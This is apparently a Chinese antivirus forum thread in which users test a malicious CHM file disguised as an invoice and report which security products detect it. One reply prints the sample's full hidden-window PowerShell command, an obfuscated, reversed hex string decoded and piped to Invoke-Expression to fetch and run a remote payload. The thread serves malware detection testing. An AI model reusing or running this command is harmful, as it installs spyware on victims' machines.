说明档x1

megakotaro

说明档，内含javascript，点选后会连线到立陶宛，并执行powershell，生成间谍软件

密码：infected

Hybrid-Analysis
Kaspersky Threat Intelligence Portal
ANY.RUN

Shake2333

eset
扫描有反应
双击无反应（真奇怪）
日志
C:\Users\Downloads\INV00620224400\INV00620224400.chm > CHM > /sdf48df.htm - JS/TrojanDownloader.Agent.XHS 特洛伊木马 - 已删除

正在缓冲

avast扫描暂时miss，双击也暂时miss

sichuanwenxuan

hsks

360miss
火绒miss

fdsax

卡巴扫描miss

狂欢...

测试
运行后报chm钓鱼，选择“允许”，自动阻止进程：C:\Windows\hh.exe 125A7473进程，和
进程：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 1C919B3B

jasperchau

看起来像是一个[过滤]的文件 制作者真是会玩

心醉咖啡

毒霸不杀

QVM360

Shake2333 发表于 2021-2-9 18:35
eset
扫描有反应
双击无反应（真奇怪）

双击amsi杀了

1. "C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe" -WindowStyle Hidden $vYeIZ='92^64^43^43^64^44^03^65^65^42^82^85^54^94^B3^72^72^02^E6^96^F6^A6^D2^02^37^27^16^86^34^96^96^36^37^16^42^02^D3^64^43^43^64^44^03^65^65^42^B3^D7^22^F5^42^87^03^22^D5^56^47^97^26^B5^D5^27^16^86^36^B5^B7^02^47^36^56^A6^26^F4^D2^86^36^16^54^27^F6^64^C7^02^92^72^E5^72^82^47^96^C6^07^37^E2^67^D6^42^02^D3^37^27^16^86^34^96^96^36^37^16^42^B3^92^72^76^07^A6^E2^23^16^47^C6^56^44^F2^47^C6^E2^16^27^56^86^F2^F2^A3^07^47^47^86^72^C2^46^F6^86^47^56^D4^A3^A3^D5^56^07^97^45^C6^C6^16^34^E2^36^96^37^16^24^C6^16^57^37^96^65^E2^47^66^F6^37^F6^27^36^96^D4^B5^C2^72^76^E6^96^27^47^72^02^B2^02^72^35^46^16^72^02^B2^02^72^F6^C6^E6^72^02^B2^02^72^77^F6^44^72^C2^97^47^47^42^82^56^D6^16^E6^97^24^C6^C6^16^34^A3^A3^D5^E6^F6^96^47^36^16^27^56^47^E6^94^E2^36^96^37^16^24^C6^16^57^37^96^65^E2^47^66^F6^37^F6^27^36^96^D4^B5^02^D3^67^D6^42^B3^92^76^E6^96^07^42^82^02^C6^96^47^E6^57^02^D7^47^56^96^57^15^D2^02^13^02^47^E6^57^F6^36^D2^02^D6^F6^36^E2^56^C6^76^F6^F6^76^02^07^D6^F6^36^D2^02^E6^F6^96^47^36^56^E6^E6^F6^36^D2^47^37^56^47^02^D3^02^76^E6^96^07^42^B7^02^F6^46^B3^92^72^36^96^37^16^24^C6^16^57^37^96^65^E2^47^66^F6^37^F6^27^36^96^D4^72^82^56^D6^16^E4^C6^16^96^47^27^16^05^86^47^96^75^46^16^F6^C4^A3^A3^D5^97^C6^26^D6^56^37^37^14^E2^E6^F6^96^47^36^56^C6^66^56^25^E2^D6^56^47^37^97^35^B5^02^D5^46^96^F6^67^B5^B3^85^06^54^06^94^C7^72^92^47^E6^56^72^B2^72^96^C6^34^26^72^B2^72^56^75^E2^47^72^B2^72^56^E4^02^47^36^72^B2^72^56^A6^26^F4^72^B2^72^D2^77^56^E4^82^72^D3^97^47^47^42^B3^23^23^07^42^02^D3^02^C6^F6^36^F6^47^F6^27^05^97^47^96^27^57^36^56^35^A3^A3^D5^27^56^76^16^E6^16^D4^47^E6^96^F6^05^56^36^96^67^27^56^35^E2^47^56^E4^E2^D6^56^47^37^97^35^B5^B3^92^23^73^03^33^02^C2^D5^56^07^97^45^C6^F6^36^F6^47^F6^27^05^97^47^96^27^57^36^56^35^E2^47^56^E4^E2^D6^56^47^37^97^35^B5^82^47^36^56^A6^26^F4^F6^45^A3^A3^D5^D6^57^E6^54^B5^02^D3^02^23^23^07^42';$text =$vYeIZ.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('^') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| & (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))

复制代码